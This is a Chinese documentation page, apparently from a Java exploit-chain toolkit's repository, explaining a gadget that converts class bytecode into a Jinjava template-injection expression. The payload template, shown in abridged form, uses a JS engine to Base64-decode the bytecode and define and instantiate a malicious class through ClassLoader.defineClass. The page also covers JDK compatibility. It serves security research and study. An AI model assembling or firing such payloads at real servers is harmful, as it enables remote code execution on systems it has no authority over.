Skip to content

Latest commit

 

History

History
66 lines (56 loc) · 5.33 KB

File metadata and controls

66 lines (56 loc) · 5.33 KB

将byte[]字节码转换为JinJava表达式字符串(JinJavaConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:ReaJason
  • 依赖jinjava(HubSpot Jinjava 模板引擎)

作用

把内层产出的 class 字节码(byte[])包装成一段 JinJava(Jinja2 风格)模板表达式:该表达式在 Jinjava 渲染时,经 ScriptEngineManager 取得 JS 引擎,在 JS 中 Base64 解码字节码并用 ClassLoader.defineClass 定义、实例化恶意类,实现「JinJava 模板注入 → 任意字节码执行」。

链接标签

  • 入口 tagsJinJava_ExprExpression —— 表明产物是可被「消费 JinJava/通用表达式」的上游 sink 承接的表达式串。
  • 衔接 nextTagsBytecodeConvertTag —— 其内层(下一环)须是产出 class 字节码的 gadget,即 BytecodeConvert(再往内接 Exec 等)。
  • excludes:无。

源码剖析

invoke 取内层字节码,Base64 后填入一个 Jinjava 模板:

public String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);
    return String.format(jinJavaTemplate, bytecodeB64);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));   // 取内层字节码 → 转 JinJava 表达式串
}

jinJavaTemplate 是核心:外层用 Jinjava 的 {{ ... }} 输出表达式包裹,内层是一段通过反射构造 StringReader 后交给 JS 引擎 eval 的脚本(简化节选):

{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance()
     .getEngineByName('js')
     .eval( ''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance(
        'var classLoader = java.lang.Thread.currentThread().getContextClassLoader();'
      + 'var className = "%s"; var base64Str = "%s";'   // 见下方“占位符”说明
      + 'try { classLoader.loadClass(className).newInstance(); }'
      + 'catch (e) {'
      + '  ... // 依次尝试 java.util.Base64 / javax.xml.bind.DatatypeConverter / sun.misc.BASE64Decoder 解码'
      + '  var defineClass = clsClassLoader.getDeclaredMethod("defineClass",[clsByteArray,clsInt,clsInt]);'
      + '  defineClass.setAccessible(true);'
      + '  var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));'
      + '  clazz.newInstance();'                        // 定义并实例化恶意类
      + '}' )) }}

逐段说明:

  1. Jinjava 外壳 {{ ''.getClass().forName('javax.script.ScriptEngineManager')... }}:利用 Jinjava 表达式可调用 Java 方法的特性,反射拿到 JS 脚本引擎。
  2. forName('java.io.StringReader').getConstructors()[0].newInstance(<JS源码>),把一大段 JS 脚本以 StringReader 形式喂给 eval(Reader),规避把超长脚本写成单个字符串字面量的引号/转义问题。
  3. JS 脚本逻辑:优先 classLoader.loadClass(className).newInstance()(类已存在则直接实例化);否则进入 catch,用三种回退方式java.util.Base64javax.xml.bind.DatatypeConverter.parseBase64Binarysun.misc.BASE64Decoder)Base64 解码字节码,再反射调用 ClassLoader.defineClass(byte[], int, int)setAccessible(true) 突破保护)定义类,最后 newInstance() 触发恶意类逻辑。
  4. JexlConvertUnsafe.defineAnonymousClass 不同,本模板走线程上下文 ClassLoader.defineClass,兼容性回退更充分(三选一),对不同 JDK 的 Base64 API 差异更鲁棒。

关于占位符jinJavaTemplate 文本里既有 className = "%s" 又有 base64Str = "%s",但 getObject 只用 String.format(jinJavaTemplate, bytecodeB64) 传入一个参数。因此第一个 %s 会被 Base64 串填入(作为 className),第二个 %s 缺参——实际生效路径依赖 Jinjava 渲染时的行为;核心加载逻辑在 catch 分支的 defineClassloadClass(className)try 通常直接抛异常后走 catch。这是该模板的一个实现细节,分析真实 payload 时以最终渲染串为准。

参数(@Param)

本 gadget 无 @Param。输入完全来自内层字节码(chain.doCreate),无用户可配字段。

适用版本与原理要点

  • 需要目标 classpath 存在 Jinjava 模板引擎 且当前上下文会渲染受控 JinJava 模板(模板注入 sink)。
  • 运行时还需可用的 JS 脚本引擎(Nashorn/Rhino),故对 8 <= jdk <= 14 较稳;JDK 15+ Nashorn 移除后该内嵌 JS 路径失效。
  • 字节码解码做了三重回退,对不同 JDK 的 Base64 API 兼容性优于单一实现。
  • 最终效果由内层字节码(BytecodeConvertExec 等)决定,本 gadget 只负责把字节码转成 JinJava 表达式载体。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。用于以 JinJava 模板注入为载体投递字节码的自定义组合。

关联